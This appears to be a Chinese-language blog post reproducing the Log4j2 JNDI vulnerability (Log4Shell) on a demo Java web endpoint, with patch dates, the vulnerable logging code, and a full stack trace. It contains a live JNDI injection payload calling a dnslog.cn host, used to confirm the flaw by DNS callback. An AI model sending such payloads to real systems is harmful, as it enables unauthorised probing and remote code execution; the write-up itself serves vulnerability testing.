Dec.6,Apache Log4J 发布 2.15.0 版本。Limit the protocols JNDI can use by default. Limit the servers and classes that can be accessed via LDAP. Fixes LOG4J2-3201.
Dec.9,阿里云应急响应开始推送,并在圈内引起讨论。
Dec.10,阿里云应急响应更新推送,并出现在了我的时间线上。
Dec.13,Apache Log4J 发布 2.16.0 版本。Disable JNDI by default. Completely remove support for Message Lookups.
这里复现主要是通过测试 JNDI 对外部域名的访问记录,如上文所言,只要防御方能访问攻击方指定的特定网站,那么理论上攻击方就可以执行任何命令。具体测试方法:对一个 POST 方法,传入一个包含外部域名的 JNDI 命令,并观察外部域名网站的调用记录。如果对机器发送 POST 请求后,外部域名网站有访问记录,那么就可以视为本机器有此漏洞。
外部域名站由 dnslog.cn 提供。该站每次可以随机生成一个子域名,并记录全世界对这个子域名的访问记录。(当然此方法不是很精确,如果有其他人跟你 roll 到同一个随机域名进行测试,那就不好说了。)
@Path("/op-log4j2/v1") publicclassDemo{ publicstatic Logger LOGGER = LogManager.getLogger(); @Path("/input") @POST @Consumes(MediaType.APPLICATION_JSON) @Produces(MediaType.APPLICATION_JSON) public Response postTest(String input){ System.out.println("log4j2 receive post message: " + input); LOGGER.info("log4j2 receive post message: " + input); return Response.status(200).entity("log4j2 receive post message: " + input).build(); } }
同样地生成随机站点、发 POST 请求,然后神奇的 log (完整 log 见附录)报错就出现了:
1 2 3 4 5 6
log4j2 receive post message: ${jndi:ldap://7py31p.dnslog.cn} 2021-12-26 01:26:51,094 http-nio-8080-exec-70 WARN Error looking up JNDI resource [ldap://7py31p.dnslog.cn]. javax.naming.CommunicationException: 7py31p.dnslog.cn:389 [Root exception is java.net.ConnectException: Connection refused: connect] at com.sun.jndi.ldap.Connection.<init>(Connection.java:238) at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137) ... ... [http-nio-8080-exec-70] INFO fun.kaii.demo.log4j2.Demo - log4j2 receive post message: ${jndi:ldap://7py31p.dnslog.cn}
同时,在 dnslog 的站点上,我们看到了从我们的机器泄露出去的 JNDI 请求:
1 2 3 4 5
DNS Query Record IP Address Created Time 7py31p.dnslog.cn xx.xx.xx.xx 2021-12-26 xx:26:49 7py31p.dnslog.cn xx.xx.xx.xx 2021-12-26 xx:26:49 7py31p.dnslog.cn xx.xx.xx.xx 2021-12-26 xx:26:48 7py31p.dnslog.cn xx.xx.xx.xx 2021-12-26 xx:26:48
log4j2 receive post message: ${jndi:ldap://7py31p.dnslog.cn} http-nio-8080-exec-70 WARN Error looking up JNDI resource [ldap://7py31p.dnslog.cn]. javax.naming.CommunicationException: 7py31p.dnslog.cn:389 [Root exception is java.net.ConnectException: Connection refused: connect] at com.sun.jndi.ldap.Connection.<init>(Connection.java:238) at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137) at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1609) at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749) at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319) at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60) at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202) at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172) at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56) at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:198) at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1060) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:982) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:878) at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:433) at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132) at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38) at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:334) at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:233) at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:218) at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:58) at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197) at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190) at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181) at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156) at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129) at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120) at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84) at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:464) at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:448) at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:431) at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:406) at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:63) at org.apache.logging.log4j.core.Logger.logMessage(Logger.java:146) at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2170) at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2125) at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2108) at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2002) at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1974) at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1311) at fun.kaii.demo.log4j2.Demo.postTest(Demo.java:39) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.glassfish.jersey.server.model.internal.ResourceMethodInvocationHandlerFactory.lambda$static$0(ResourceMethodInvocationHandlerFactory.java:52) at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher$1.run(AbstractJavaResourceMethodDispatcher.java:124) at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher.invoke(AbstractJavaResourceMethodDispatcher.java:167) at org.glassfish.jersey.server.model.internal.JavaResourceMethodDispatcherProvider$ResponseOutInvoker.doDispatch(JavaResourceMethodDispatcherProvider.java:176) at org.glassfish.jersey.server.model.internal.AbstractJavaResourceMethodDispatcher.dispatch(AbstractJavaResourceMethodDispatcher.java:79) at org.glassfish.jersey.server.model.ResourceMethodInvoker.invoke(ResourceMethodInvoker.java:475) at org.glassfish.jersey.server.model.ResourceMethodInvoker.apply(ResourceMethodInvoker.java:397) at org.glassfish.jersey.server.model.ResourceMethodInvoker.apply(ResourceMethodInvoker.java:81) at org.glassfish.jersey.server.ServerRuntime$1.run(ServerRuntime.java:255) at org.glassfish.jersey.internal.Errors$1.call(Errors.java:248) at org.glassfish.jersey.internal.Errors$1.call(Errors.java:244) at org.glassfish.jersey.internal.Errors.process(Errors.java:292) at org.glassfish.jersey.internal.Errors.process(Errors.java:274) at org.glassfish.jersey.internal.Errors.process(Errors.java:244) at org.glassfish.jersey.process.internal.RequestScope.runInScope(RequestScope.java:265) at org.glassfish.jersey.server.ServerRuntime.process(ServerRuntime.java:234) at org.glassfish.jersey.server.ApplicationHandler.handle(ApplicationHandler.java:684) at org.glassfish.jersey.servlet.WebComponent.serviceImpl(WebComponent.java:394) at org.glassfish.jersey.servlet.WebComponent.service(WebComponent.java:346) at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:366) at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:319) at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:205) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:223) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:185) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:119) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:353) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:872) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1705) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.lang.Thread.run(Thread.java:748) Caused by: java.net.ConnectException: Connection refused: connect at java.net.DualStackPlainSocketImpl.connect0(Native Method) at java.net.DualStackPlainSocketImpl.socketConnect(DualStackPlainSocketImpl.java:79) at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350) at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206) at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188) at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:172) at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392) at java.net.Socket.connect(Socket.java:606) at java.net.Socket.connect(Socket.java:555) at java.net.Socket.<init>(Socket.java:451) at java.net.Socket.<init>(Socket.java:228) at com.sun.jndi.ldap.Connection.createSocket(Connection.java:375) at com.sun.jndi.ldap.Connection.<init>(Connection.java:215) ... 90 more
[http-nio-8080-exec-70] INFO fun.kaii.demo.log4j2.Demo - log4j2 receive post message: ${jndi:ldap://7py31p.dnslog.cn}